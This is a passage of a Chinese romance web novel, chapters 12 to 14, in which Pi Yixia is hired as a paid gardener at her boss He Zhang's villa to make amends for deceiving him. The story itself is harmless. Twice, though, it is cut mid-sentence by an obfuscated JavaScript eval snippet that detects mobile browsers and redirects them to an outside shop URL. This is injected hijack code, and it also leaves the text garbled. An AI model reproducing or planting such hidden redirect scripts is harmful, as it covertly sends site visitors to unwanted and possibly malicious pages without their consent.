“你想怎么解决?”贺章给自己倒了杯茶,慢条斯理地开口。 皮一夏语气轻快但不失端庄地说:“我昨晚想到一个好主意。” 她往沙发顶头挪了挪,手肘撑在扶手上,靠近了贺章坐的单人沙发。胸前兔子的长腿一晃一晃,贺章唇角勾了勾,波澜不惊地喝了口茶。 “说来听听。” “您把我的手绑上。”她说着,将两个腕子并在一起,伸到了他面前,“然后我回家,从现在开始直到晚上,绑整整一天的时间,这样算诚心道歉了吧?” 昨晚她灵机一动,想到了这个办法,越想越觉得靠谱。她绑了贺章一晚上——甚至可能只有几小时,难道他后来没有挣开吗——现在她自缚一个白天,这还不划算吗? 她又摆出了那副有求于人时的温良笑容,贺章的视线掠过那双光洁莹白的手臂,腕间有蓝紫色毛细血管蜿蜒,他莫名搓了搓指尖,缓缓挪开了眼。 “不合适。我没有凌虐女人的癖好。另外,你搞错了道歉的重点。” “……重点是什么?”皮一夏蒙了。 贺章漆黑的眼瞳上像结了层霜,凉凉道:“还需要我帮你回忆,绑完都做了什么吗?” “……” 大可不必。一些摩擦、抓握、勾扯……她刻意遗忘的画面,全想起来了。 皮一夏的脸像涨潮一样慢慢充血,身子缓缓缩回沙发角落里,下巴微收,两手扶着膝盖,坐得端端正正。 虽然现在回想当时的行径,是有点不可思议,但……就不能当做一种情趣吗?有难受到,非要报复回来吗? 这可怎么整…… 杯子搁回茶几上,发出“哒”的一声,皮一夏心尖儿一抖,小声说:“那您想要怎么道歉?” 总不能,也让他那么报复回来,那太胡扯了。 “除了以牙还牙,只要在我能力范围内,贺先生尽管提,我一定尽力去做。” “你确定?”贺章缓缓笑起,松背靠进沙发里。 皮一夏抬眼,又见到了熟悉的、玩味的笑意,她心生警惕,于是又补了句:“不能违法,不能缺德,只要合理,您尽管提。” 12. 奖惩 贺章哼笑一声:“放心,守法和守德,在这两点上,我比你强一些。” “……” 被人拿捏到这份儿上,真是太丢人了!人果然不能随便散德行,否则就会遭报应……哎。 皮一夏默默自省,肚子叽里咕噜响了一声,她猛地压紧小腹,瞟了贺章一眼……没看到他表情,人已经站起身往外走了。 所以她呢?就在这罚坐,等候老板的处罚通知吗? 皮一夏在客厅里坐了十多分钟,实在忍不住了,上个厕所可以吧? 她起身走出门,站在门外的短廊上朝右看,看见一个三面闭合的宴客厅,里面的陈设同样十分考究,中间摆着一张原木长条桌,和四张沙发椅。 但是人呢? 皮一夏茫然四顾时,漫不经心的声音从背后传来。 “找什么?” 贺章竟然从屋子里出来了。这别墅的构造真令人费解,刚刚明明看见他离开屋子了……不过这不重要,重要的是他怀里还抱着一只狗。 非常可爱的博美,一身的白毛,蓬松得跟个圆球似的,耳朵尖尖,眼珠又黑又大。 “我可以去个卫生间吗?”她问。 “去。” 贺章把狗放下地说:“卫生间带路。” 狗狗吐着舌头,看了她一眼,欢快地往屋里跑了。 皮一夏满脸惊奇,忙抬腿跟上,在狗狗的带领下,去了卫生间……然后毫不意外地,再次被震撼了。 他家的卫生间,简直比她家整个屋子还大……内部的装修设计也是极尽舒适和贵气,还有一个大浴缸,完了不能直视浴缸。 皮一夏解决完紧急需求,又在狗狗的带领下,回到了宴客厅。 贺章正在摆餐具,桌上放着两个餐盘,里面有三明治和切好的水果,还有两杯牛奶。 “来吃饭。”他说。 狗狗欢快地摇着尾巴跑过去,挠他小腿。 皮一夏抚了抚肚子,没动。怕理解错意思。万一还想让她回客厅去罚坐,这句来吃饭,是对狗狗说的呢? 但狗狗不会跟他吃一样的东西吧……也说不好,富豪家的狗跟普通人家可能不一样。 她愣在原地,狗狗忽然又跑回来,挠她的裤腿,哎呀太可爱了……她忍不住弯腰抱起来,撸了撸毛,狗狗嗓子里发出咕噜咕噜的声音。 “傻站着做什么?”贺章皱眉。 这次听清楚了,皮一夏忙抱着狗走过去,在餐桌旁坐下。 “这多不好意思,让您受累了。” 贺章在她对面的椅子里坐下,两人面对面时,那种隐隐约约的压迫感又出现了。 皮一夏没动,贺章抽出湿纸巾,盯着她怀里的狗,一边擦手,一边说:“Oliver,下去吃饭。” 那只小博美就窜下地,跑到一旁去吃狗粮了。 原来他叫Oliver。 “好有灵性。”她一边搭话,一边学他的样子,抽出湿纸巾擦手。 贺章淡淡地“嗯”了一声,开始动筷子。 他吃饭的样子很专注,视线只盯着餐盘和桌面,不出声,也不东张西望,咀嚼得慢条斯理,只有在杯子搁回桌面时,才会听到一点轻轻的撞击声,手机就放在桌上,时不时有消息弹出,他也不看。 仿佛眼下只有吃饭这件事最重要。 搞得她也不好意思乱看,更不敢刷手机,只剩默默地想心思。 有时感觉他是冷硬的、凌厉的、睚眦必报的,但有时候,比方现在,又感觉他是沉静的、无害的,就像在巴塞罗那第一眼看见他时那样,任身边人来人往,他独自静坐,毫无攻击性。 “我脸上有饭?” 他的视线突然隔着餐桌眺过来,皮一夏瞬间回神,忙低下头吃饭。过了一会儿,Oliver从餐桌下跑过来,窜到她腿上,两只前爪扒着她胸前的口袋,嘿嘿笑着朝她吐舌头。 “Oliver。”她丢下最后一口三明治,拍拍手,抓起它两只前爪晃一晃,“你几岁了?” Oliver“汪”了一声,似乎在回应她的问题。 “两岁。”贺章说。 “哦……你想跟我玩吗?” 贺章吃完了饭,餐具收在盘子里,盯着对面的一人一狗瞧。 女孩满脸笑意,露出整齐的贝齿,眼睛弯成了月牙状,和之前见到的笑都不一样。之前笑是装乖的、狡黠的、虚伪的……这会儿的笑容似乎才是真开心,像这个季节的阳光一样,把这座寂静的庭院染成了暖色。 “嘿!Oliver,不能摘哦,兔子会不高兴。” “你想问它叫什么?叫招财……呐,小熊也给你玩,它叫进宝。” 贺章:“……” “欸……别扯我头发。”皮一夏抓住Oliver的爪子,凶巴巴威胁它,“再扯我薅你尾巴!” Oliver根本不怕,又扑过去舔她的脸。咯咯的笑声、狗叫声和人叫声吵成一片,这庭院从来没这么热闹过。 皮一夏跟狗玩了会儿,忽然意识到自己太吵了,忙噤声,抬头看了贺章一眼,他正盯着她,唇边带着一丝若有似无的笑。 她有点局促,把Oliver抱下地,站起身说:“我去洗碗。” 这时,李桂穿过庭院走了过来,恭敬地站在廊下,似乎在等贺章。 贺章朝院里扫了眼,视线转回说:“我想好了,怎么帮你诚心道歉。” 皮一夏神色一怔:“您说。” 这顿饭吃得太愉快,她差点忘了自己是来干嘛的……来还债的。 “家里的花匠要请假,我需要一个打理花园的人。”贺章说。 皮一夏满脸茫然,等他接下来的话,但是没有了。所以,他的意思该不会是,让她来代替花匠,帮忙打理花园? 她用眼神表达了疑问,贺章眉峰微挑,以表情作答。 “……”多说一句话会死是吧。 皮一夏心里快速盘算了一番。说白了就是代替花匠干一天体力活还债嘛,可以,但问题是…… “我不太懂养花,万一把您的花搞死了怎么办?” 贺章朝院子里抬了抬下巴:“桂叔会带你。” “那可以。”皮一夏边收拾餐具,边兴冲冲地朝外喊了声,“等我一下啊桂叔,我洗完碗找您!” “不着急,皮小姐。”桂叔笑着应。 皮一夏端起盘子说:“我赶快收拾完,跟桂叔学一下。”眼看麻烦有望彻底解决,她说话的语气都轻快不少,“放心,我学东西很快的,今天一定把活给您干的漂漂亮亮!” “今天?你似乎误会了。”贺章说。 “误会什么?” 皮一夏心头闪过不详的预感,脸上笑容也慢慢收了起来。 “桂叔的工作是每周过来两天,周三和周六。他接下来要请长假,预计三个月。” “……” 所以这意思不会是,她也需要每周来两趟,在他家做三个月的工人吧?那她周三的正经工作怎么办?周六的兼职搞钱计划怎么办?她的房贷怎么办?! 不过就是小小地戏弄了他一次,贺老板这是不想让人活了啊! 皮一夏怒从心头起,恶向胆边生,猛地将盘子放回桌上:“我不干!”说着双臂抱胸,气吞山河地坐下去,一双大眼睛里火星四溅。 “我承认,一开始骗您是我不对,但我也道歉了,之后是您自己掉头回来,如果您不回来,就不会发生后来的事!这一项上你情我愿,咱们扯平。之后我……冒犯您,即便有错,也没那么严重吧!让我干三个月免费长工,我周三不要上班的吗?周六不要休息的吗?我觉得您的惩罚太重了,超出了我的接受范围,所以我拒绝!” 本来以为,无论如何今天就能彻底解决了,以后再也不用看贺老板脸色,谁知还要再忍受三个月。 凭他睚眦必报的性格,她可以想象,这三个月一定不会好过!这种时刻提心吊胆,等着重锤落下的感觉太煎熬了。 而且还要打乱她的工作和生活节奏,就算他是老板又怎么样?大不了,辞职不干了。就不信凭她的能力,找不到更好的工作! 哼,死就死吧,长痛不如短痛。 皮一夏扬着下巴,偏头看外面:“您痛快点,开除我吧!” 这大概是她这辈子说过最硬气的一句话。心里不是不虚的,但输人不输阵,气氛到这了,话就得这么说! 可是不会真的被开除吧,不行还有房贷……她微微转回头,眼角余光斜着对面。 贺章好整以暇,两指托住下巴,漆黑的眼睛盯着她,一手缓缓撸着腿上的雪团子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14428026|153805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “说完了?”他的语气凉凉的。 “……说完了。”她有点底气不足,但依然梗着脖子。 “你在工作里,也是这种风格吗?” 完了完了……这是老板要训话了。 皮一夏缓缓转回头,脊背挺了起来,松开环抱的手臂,双手交叠在腿上,一副好员工的模样。 贺章冷脸道:“不问清需求,也不等人说完,仅凭自己的臆测下判断、做决定,发现与自己所想有出入时,再愤怒改口?” “我……”她下意识想辩解,又不知道怎么说。 什么叫不问清需求,需要她问什么?不等人说完,您倒是快说啊! 她一脸不服气,刚才愠怒泛红的脸又白回来了。 “我说需要一个打理花园的人,你的第一反应不是问打理多久,难道你认为自己犯的罪,干一天体力活就赎完了?” “……” 犯罪。要不要说的这么夸张啊!还有,哪个正常人的下意识反应不是一天啊?! “我说桂叔请假三个月,每周三和六来两天,你的第一反应不是问清楚,这三个月是有偿还是无偿,周三需不需过来,就自以为是地觉得,我要让你干三个月免费工?” “……???” 难道不是吗?还可以问有偿无偿的吗?这三个月不仅有钱拿,周三还不需要过来吗?! 皮一夏震惊了:“这是可以沟通的吗?” 贺章声音更冷了:“难道在你心里,我是个蛮不讲理的黑心资本家?” ……不是吗? 皮一夏惊惧又茫然。抿了抿唇,默默低下头:“您也没说清楚需求嘛,老这么一句一句地往外吐,那谁知道还有商量的余地。” 她小声嘟囔了一句,贺章眼里掠过几不可察的笑意,开口却依旧是凉凉的语气。 “你在质疑我沟通的方式?” “不敢!”她猛地摇头,眼神坚定热切。 对不起贺总,是我草率了,您是老板怎么说话都对。 “所以……需要我怎么配合嘛?”她问。 弱弱的语气,配上那张无辜的娃娃脸,贺章莫名有种欺负孩子的不忍,忽地轻咳了声,身上的凌厉之气泄掉几分,再开口时,语调添了几分随和。 “这三个月,按照桂叔的工资标准,时薪200。每周六你需要过来一天,周三……下班后没事就过来,两个小时。有问题吗?” “!!!!!” 时薪200!跟她的正经工资差不多!在富豪家里养花这么赚钱的吗?!贺总,我能辞职在你家养花吗?这还能有什么问题啊我愿意干一辈子!欸不对…… “万一我周六有事,或者要加班,来不了呢?还有周三,下班后如果不过来,会扣工资吗?” 贺章眼中闪过赞许之色。 “周六来不了,那就周日来。周日也有事,就顺延,原本的三个月,变成三个月零一周,这样清楚吗?” “清楚了。”很合理。 “还有周三,下班后如果实在赶不过来,不会扣工资,但花可能会出问题,这个凭你良心。” “我一定尽量过来。如果周三不行就周四!” 就是天上下刀子,她也会帮贺总把花养护好!天选牛马皮一夏,重新燃起了熊熊的打工魂! 贺章嘴角克制不住地一勾,续道:“在这里工作,有工作餐。但用餐时间不固定,用餐标准也不固定,有什么就吃什么。有问题吗?” “!!!!”还管饭? 皮一夏双眼圆瞪,“腾”地站起身:“从哪天开始算,今天吗?就今天吧,我准备好了!” “坐下。”贺章皱眉。 “……哦。” “前面说的都是你的权益和责任,接下来还有奖惩规则。” “……” 好的是她忘了,干不好还有惩罚。就说嘛,天上不会掉馅饼,大招还是要来了吧。 贺章端起桌上的茶壶,捡了两个干净的玻璃杯,倒上水,推到她面前一杯。 皮一夏心脏提了起来。 这个架势,是要长聊? 他喝了口水,漫不经心撸着腿上的狗子,两指掐捏着人中和下巴,似乎陷入了思考。 ……看来这个奖惩的机制很复杂啊。 13. 花匠 皮一夏默默端起杯子,小口小口地喝水。他不说,她也不问。 按照目前定下的时薪,她已经十分满意了,因此并不期待奖励,更不希望有惩罚。 谁知这一等,又等了足足十分钟。直到杯子里的水见了底,贺章才开口。 “奖励还没想好,惩罚……按照错误的严重程度,从你的时薪里扣。有问题吗?” “……”她敢有什么问题。 这种只说惩罚不说奖励的机制,还说自己不是黑心资本家……但是算了,总不至于干了三个月,还要倒扣工资,赔他钱吧?! !!!有这个可能!毕竟,让她干花匠这事,本来就是一个惩罚啊! “贺总……”她现在进入了应激状态,完全忘了家里的称呼,“那个,我就是问问啊,应该不至于扣光工资,还要倒找您钱吧?” “你对自己的能力,这么没信心?”贺章反问。 “有信心!我超好学的,对自己很有信心……”只是对您没信心,“不过,桂叔是按照什么机制奖惩的呀?” 贺章握杯子的手一顿,抬眼:“你跟他一样?” “……” 不一样。她是来还债的。有点钱拿就不错了。 “还有一点我要提醒你,园子里有不少亚热带花卉,在北方生长不易,需要注意养护,你好好跟桂叔学。” “好的贺总。”皮一夏乖巧作答,扫见他眉心的波澜,忙又改口,“贺先生。” “嗯。去吧。” 皮一夏忙站起身,抬脚就往厅外走。走了几步忽然又停住,蹙眉转身:“贺先生,您开的条件还算优厚,为什么不找一个专业的花匠呢?” 贺章眼角一跳,不动声色地睨着她:“我不想把时间浪费在招人这种事情上。” 皮一夏心想也是,他的时间价值毕竟以秒计算的。 “还是,你有推荐?”他又说。 皮一夏忙摆手:“没有没有……” 这么稳定的赚钱机会,她才不愿意放跑。而且,万一她推荐了人,贺老板又想出别的辙让她还债,说不定更惨。还是种花吧,种花挺好! 非常好。是她想多了。刚刚有那么一瞬间,她脑子里竟然闪过个念头:不会是想潜我吧? 只要不是想潜就好。 “还有问题吗?”贺章问。 皮一夏身心舒爽地笑起来:“没问题!我去洗碗!” 她端着盘子,脚步轻快地回到屋里,过了一会儿又出来,朝他笑了笑,转身,背后的娃娃笑出一口大白牙,贺章盯着这一奇妙的组合,感觉近期梗在胸口的不畅突然疏散了。 在云溪庄园外重逢时,他感到恼怒,这种情绪于他是极少见的。工作上偶有不顺,他习惯第一时间去想解决方案,从不让感性情绪凌驾于理性思维,而他的私生活又过于简单,因此很少对什么人产生多余的情绪,皮一夏是个例外。 这女人不怀好意地接近他,从她提出一起散步回酒店开始,他就有所觉察,之所以答应,就是想看看她还会出什么招。放在以前,或者换一个人,他不会答应。 去酒店的路上,他意识到了自己行为的反常,决定结束这种幼稚的游戏,没想到她会突然坦白,更没想到,从傍晚开始她没有一句话是真的,可真行啊! 第一时间涌上心头的情绪,不是被欺骗的愤怒,而是为自己如此轻信一个人感到荒唐。那个满嘴跑火车的女人竟然还敢摆出一副落寞的神情,仿佛十分遗憾,他竟然还因为那个神情掉头回来了! 贺章自觉不可思议、十分荒谬,却无论如何都找不出这一行为的合理动机,直到看见她往便利店走的背影,他想,大概是因为,不能接受自己被一个女人骗得团团转,这实在太不光彩,他一定要扳回一局。 在床上被她戏弄,是他有意纵容,他归因于前两次的体验还不错——应该说非常好。所以直到那晚结束时,贺章都认为这局不算输,然而第二天早上在酒店里醒来,看着空荡荡的房间,一股强烈的愤怒冲上头顶。 一定要狠狠惩罚这个鬼话连篇、用完就扔的女人。这念头一起,就再也压不下去。 在云溪庄园见到她时,贺章除了恼怒之外,还有一种莫名其妙的痛快感,似乎还有别的什么,情绪过于复杂,以至于他一时间感觉无从下手。 工作里会面,她碍于身份战战兢兢,似乎也不是他想要的,隐隐失控的感觉令他烦躁。直到昨晚入睡前,都没想好要怎么惩罚她,但就在今天早上,他忽然不烦躁了,就把她放在眼前,他要慢慢想。 她的身影转过小径,看不见了,贺章收回视线,轻轻抬起的唇角泄露了他此刻的好心情。 庭院东侧的花园,远看是一个正常的小花园,走近了才发现,大的有点离谱。 首先,花园的正中间有一棵粗壮的榕树,虬枝峥嵘,一部分根系露在地表,树冠像一朵绿色的巨型蘑菇,在青草地上遮出一大片树荫,树荫覆盖的范围,地上没有任何植物,只有一张供人休憩的长椅。 榕树周边半径大概七八米的区域,是绿色的青草地,再往外就是大片的花海了。 这里种的花,至少有一半品种,她都不认识。只叫得出月季、桂花、三色堇、菊花——各种品类和花色的菊花——这些常见的花型。 单为搞懂花的名字和种属就花了半小时,然后又花了一个小时,分别记录不同花卉的浇水原则、光照需求、施肥方式、虫害防治……直到日上中天,才记了个七七八八。 皮一夏摊在榕树下的长椅上,泄气地看李桂:“桂叔,养花可真是一门大学问,我还以为每天浇点水、拔拔草就完了,我能行吗?等您回来的时候,我不会把这花园养废吧?” 李桂好脾气地笑笑:“皮小姐不用太紧张,这养花虽然有学问,但什么学问都盖不过用心不是。就跟养孩子是一个道理,孩子渴了还是饿了,累了还是病了,状态好不好,父母一准儿能看出来……您现在只是还不熟,等多看两天,熟悉了,很快就摸出门道了。其实没有那么难,你们坐办公室干的是高级工作,脑子比我们干体力活的好使,肯定没问题。” “什么高级工作,不过是拉磨的驴子罢了。”皮一夏忍不住吐槽。 桂叔这么好心地鼓励她,她也不能懈劲儿,于是又撸着袖子站起身:“走吧,您再跟我说说,每次过来需要干什么活。” 李桂又详细地讲了具体工作,大概分了三项。 第一项,给花和树浇水、施肥、拔草,确保花和树的长势良好,如遇病虫害,及时喷药治理,治不好就剪掉病枝,或整株拔出;第二项,清理花园里的枯枝落叶,养护草坪;第三项,照料花园里的房子。 东南角有两栋尖角的白色木屋,靠东边的是个二层小楼,可以住人,靠西边的小一点,只有一层,里面放的是花匠的工作用具。 “贺先生偶尔会在花园这边休息,所以需要定期在房子内外撒上驱蚊虫的药,其他的不用做什么。”李桂说。 皮一夏忙问:“贺先生来这边勤吗?” 她可不想天天被老板盯梢,连个摸鱼的功夫都没有。 李桂似乎看出了她的想法,笑着说:“这个不好说。贺先生之前在国外生活,这房子就一直空着,从上个月起,他才开始比较固定地住在这里。偶尔过来这边,一个月大概有三两次吧。” “那如果工作干的不好,贺先生会骂人吗?” “这倒不会。”李桂安抚道,“不用紧张,贺先生不是不讲道理的老板。但是他很爱惜这片花园,所以要尽可能保证花卉健□□长,偶尔,他也会给两样珍稀的花种,需要帮忙种植。” “哦。” 听上去,也不是那么难相处。可怎么她的感受不是这样呢? 哎……事已至此,先苟着吧。 皮一夏勉强笑笑:“我知道了桂叔,今天多谢您教我了。您刚才说下午就要走,这会儿也快中午了,我就不耽误您功夫了,只是我还有一个小请求。” “您说。” “能不能加您一个微信,如果有什么不懂的,少不得还要请教您。” “当然没问题。”李桂说着掏出了手机,打开微信名片,皮一夏边扫边听他说,“万一事情很急,我没有及时回复,您也可以问贺先生,他很懂养花。” “……” 谢谢最好是不用了。 加过微信,李桂就离开了。 已经十二点过五分了,这算下班时间吧。皮一夏躺在榕树下的长椅上,平板板地摊直了腿,两手在腹部交叠,作尸体状,眼睛木愣愣地盯着榕树冠发,思考了会儿人生。 大半个月前,她从巴塞罗那回国时,丝毫没料到会再次见到贺章。结果见到了。不仅见到了,还再一次得罪了。 一周前,从云溪庄园离开时,她心存侥幸地以为两人讲和了,再被揪出来的概率微乎其微。结果贺总听了她的工作汇报,吓得她胳膊腿发软。 昨天晚上,她以为还了外套道过歉,让贺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14440015|153805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总出够气,就不会再有交集,此事END。结果现在,她莫名其妙成了一名花匠。 苍天啊,还有多少墨菲定律在等着我? 哎……事已至此,先吃饭吧。 哦对……她现在不是在公司,没有外卖,只有花匠的工作餐,可是工作餐是什么?去哪吃?不知道。不过好在早饭吃的晚,这会儿还不饿,索性起来干活吧。 活着,只要干不死,就往死里干! 皮一夏按照李桂教的,在花园里各处巡查了一遍,该浇水的浇水,该施肥的施肥,忙忙叨叨俩小时,终于完成一项工作。 就像李桂说的,这活儿不算很难,但比较琐碎,废腿废脚,也废腰。 皮一夏抓着胶皮水管的喷头,蹲在草地中间,边洒水,边给苏晨雪发微信:「苏苏,你知道我在哪吗?」 苏晨雪没回复,她也不管,自顾自开始讲述这一周的惨痛经历,都是几十秒的语音,把个职场故事讲得高潮迭起。 “摸鱼摸得挺欢?” 惊雷般的声音冷不丁在身后响起,她猝不及防尖叫出声,摔了一个屁股墩,手里的喷头朝天,水柱窜飞一丈高,又从丈高之处洋洋洒洒倾泻而下,顷刻把人浇了个透心凉。 和她一起接受灌溉的,还有站在身前的贺章。 贺章先是呆了一瞬,眼睛盯着瘫坐在地的人,她手举喷头,水柱朝天,那张滴滴答答的脸上残存几分惊魂未定的茫然。 他很快反应过来,两手遮住头顶,快步往雨幕外退。 “皮一夏!你给我把水关了!”惊怒的声音,咬牙切齿的语气。 皮一夏被他叫回了魂,瞬间脑子里飘过一串弹幕: 我靠靠靠靠靠靠靠靠靠……死了死了死了死了我今天完了 皮一夏颤抖着手,关掉了水龙头。 她还坐在一片灌满了水的青草地上,头发湿哒哒,脸上全是水,连胸前口袋旁挂的兔子和熊都喝饱了。 “你还坐着干什么?” 贺章一头黑发也在滴水,T恤浸成了透明的,贴在身上,深邃的眼窝里都汪着水珠子。 他这辈子就没这么窘迫过。 真是…… 恨恨抹了把脸,皱眉冲地上的人斥道:“傻了吗?”边斥边走过来,抓住她手腕,一把将人扯了起来。 皮一夏蹲了很久,本来腿就麻,又受了惊吓,猛地被贺章拉起来,腿根本站不直。 “欸欸……腿疼腿疼慢慢慢慢点……” 她弓着腰背,脚下踉踉跄跄,一边嚷,一边控制不住身形往他身上扑。 慌乱中扯住他身侧的衣服,得到了一点支撑,贺章下意识伸出手臂,揽住了她后腰,另一手还握着她的手,扶着她慢慢站稳身形。 一旦从混乱的状况脱身出来,她的脑子又开始抽风,有点气恼地抱怨了一句:“你干嘛突然出声啊!” “……” 空气凝结。 皮一夏喊完人傻了。 贺章简直要气笑了。 他微低着头,看向怀里的女孩子,暗暗磨了磨牙:“你知道自己在说什么吗?” 沉怒的语气,听得她禁不住打了个寒颤。从那双漆黑的眼睛里射出来的视线吗?那分明是冷箭! 皮一夏缓缓撒开抓在他腰侧的手,生硬地挤出一个笑,比哭还难看。 “对不起贺先生……我不是那个意思。” 她像只落汤鸡一样,低着头站在他身前。贺章也好不到哪儿去,发尖儿还在滴滴答答,冷脸盯了她几秒,转身就走。 “给我过来!” ……好的。 两个在大晴天里遭遇了一场暴雨的人,一前一后,滴滴答答,穿过庭院,走进了别墅一层的客厅里。 原本皮一夏是不敢进去的,这个邋遢样子,踩脏了他家的地毯,是不是要赔清洗费啊?她还没挣上钱呢,就要扣钱了…… 但贺章转头瞥了她一眼,下巴冲里面抬了抬,一句话也没说,那眼神和脸色已经很明确了。 我现在不想多说废话,你最好给我进来。 ……好的。 贺章从卫生间取了一条干净的毛巾,走过来丢给她:“擦干。” 然后转身上了楼。 所以她又被罚站了吗? 可不可以请假回家啊,衣服都湿了……皮一夏慢吞吞地擦着脸和脖子,从肺管子里抽出一口气,然后长长地叹了出来。 过了一会儿,贺章竟然又下来了。 14. 微信 他手里拎着一个葱绿色的手提袋,朝她递过来:“拿着。” 皮一夏诧异地盯着那袋子,上面印着Estilo的logo。难道是……接过来朝里面看了眼,果然!是她上周去参加婚礼时穿的连衣裙。 前几天她还想起过这件裙子,意识到落在了贺章的车上,就没想着再要回来,毕竟自己已经置换了一套新衣服。没想到,他没把这衣服扔了,竟然还留着……而且,叠的整整齐齐,看上去还是干净的! 皮一夏满怀感激地望着他,像扒着他腿的雪团子一样,贺章忽然转开了眼。 “去洗手间涮干净自己!” “好的!”她响亮作答,然后朝他鞠了个躬,“我出来再向您谢罪!”然后拎着袋子跑了。 贺章垂眼看向脚边,低低哼笑一声,捞起Oliver揉了一把。 “怎么,你也想挨浇?” Oliver被他蹭得皮毛湿漉漉,不满地挣扎下地,逃到门边回望。贺章抿了抿唇,转身往楼上走。 一个小时后,皮一夏从一楼的卫生间出来,已经换好了黑色长裙,粉色绉纱披肩随意系在肩上,换下来的湿衣服装在Estilo袋子里。 她的内衣也湿了,在卫生间简单洗了洗,吹风机开足马力,吹了个半干,穿在身上还是有点凉,但是没办法,只能先将就了。 客厅没人,她走出门,贺章又在宴客厅里摆饭。他也换了干净衣服,咖色阔腿裤和黑色T恤,头发半干。 皮一夏走过去,看着桌上的菜,问:“贺先生,这是的工作餐吗?” 贺章抬眼,“嗯”了一声。 他忙起工作来忘了时间,想起花园里还有个人时,已经下午两点半了,过去叫她吃饭,结果不仅撞见人在摸鱼,还浇了他一身水! 若照他一贯的风格,这样的员工不必再留了,可看到她哪个湿哒哒惨兮兮的模样,莫名地,心里有点不忍。直到此时,仍没想好怎么处置她。 贺章坐到桌边,又瞥了她一眼,语声平平道:“坐下吃饭。” “好的。” 又是两个盘子,里面盛的东西是一样的:煎牛排、午餐肉、凉拌沙拉、一碗米饭,还有几颗小番茄,还挺丰盛。 皮一夏现在感觉,贺总真是个好老板。为了这条裙子和这顿饭,她也必须诚心道歉。 “对不起啊贺先生,我浇草坪的时候,给朋友发了个微信,被您吓了一跳,不小心闯了祸,请原谅我的无心之失吧,我以后,一定不在工作时间摸鱼了。” 贺章没在她眼中看见任何伪装的讨好,不由挑了下眉,不咸不淡地“嗯”了一声。 皮一夏打量他没有追究的意思,心里放松了,见他拿起刀叉,忙也跟着动筷。她现在饿得要死,干体力活真不是盖的。 贺章一依然吃得很安静,切牛排时划动盘子的声音也极轻微,动作不紧不慢,甚至透着几分优雅。 皮一夏莫名被吸引了注意力,一手托着腮,不自觉盯着贺章的手发呆。 他的手长得很好看,冷白皮里透着健康的血色,手指修长而匀称,掌骨从薄薄的皮肤下清晰地透出来,朝手腕间聚拢,随着他抓握餐具的动作时起时伏,像油纸伞下的支撑伞面的竹骨,笔直而有力。 “看什么?”贺章突然问。 这一次她没有被吓到,抬眼朝他微微笑了一下。 她以为贺章是个冷酷无情小心眼的人,即便他实际上没对她造成任何伤害,也总觉得有大祸在后面等着,所以特别容易受惊。突然听见他说话会受惊,被他看一眼会紧张,她都感觉自己有点变态了,明明她平时不是卑微讨好、能够轻易被拿捏的人。 可是今天接触下来,皮一夏敏锐地察觉到,贺章和她想象当中不一样,他可能没那么可怕。 当然,只是可能。但仍不妨碍她敢于真心地夸赞一句:“您吃饭的姿态很好看。” 不像她,小动作很多,咬筷子、刷着手机哈哈哈、扒拉着饭碗戳戳点点,苏苏以前念叨她,吃饭时一个人也能演一场剧,很热闹。只不过今天在老板面前,刻意收敛了一些。 贺章听见她这话,手上的动作顿了顿,送了个淡淡的眼风过去。 “这会儿不怕我了?” 皮一夏觑着他神色,诚实地说:“没那么怕了。” “是觉得债很快就能还清,所以不怕了?” “NoNoNo!”她摇了摇头,“是觉得,您现在像个人了。” 贺章蓦地皱起眉头:“你别太放肆。” 皮一夏忙狗腿地笑笑:“说错了,就是觉得,您也是有人情味儿的,不是一个高高在上的神。” 贺章没有说话,叉起一块牛排放嘴里,眼睫覆盖的深瞳里掠过一丝笑。 午后的阳光照进厅里,气温不冷不热刚刚好,饭好吃,人也没那么难相处,皮一夏心情很好,于是不自觉地暴露本性。 左手拿刀,右手执筷,餐桌下面的脚交叠在一起,小幅度地晃,一不小心踢到了对面的人,稍惊,脱口“啊”了一声:“sorry……” 贺章眉峰略压,低斥了句:“好好吃饭。” “好的。”她默默收回了伸到对面的脚,忽然想起件事,“贺先生,我没看见您家有保姆,这饭是您自己做的吗?还有我早上就想问了,这么大一栋别墅,平时不需要人打理吗?除了桂叔,我没看见其他人。” 贺章说:“以前在国外,这房子不常住,没有保姆,暂时是我自己做。家政人员会固定时间上门清洁维护和补充食材,不住家里。” 皮一夏抿唇笑笑:“我还以为有钱人家都是保姆管家司机一大堆,全天24小时伺候呢。” “不习惯。” “哦。那我以后的工作餐,都由您来做嘛?”这样是不是不太好?毕竟她是给他打工的,有点倒反天罡,怪惊悚的,“桂叔平时也吃您做的饭吗?” 如果是的话,她就不用有心理负担了。 贺章神色一滞,淡声道:“桂叔回家吃饭。” “啊。”这样。 贺章抬眼瞥她:“怎么?嫌工作餐不好吃?” “没有!怎么会?”她连忙摆手,“就是劳您大驾,挺不好意思的。” “顺手而已。” “要不这样吧。”皮一夏搁下筷子,商量着说,“以后我的早、晚餐自行解决,午餐……您做的时候,如果需要帮忙,随时叫我,行吗?” 贺章沉默片刻,“嗯”了一声。 皮一夏莫名感觉他的气场冷了下来。她说错什么话了吗?还是嫌她话太多?或是不想让她干涉做饭的事?嘶……果然还是有点霸总个性,喜怒无常的。 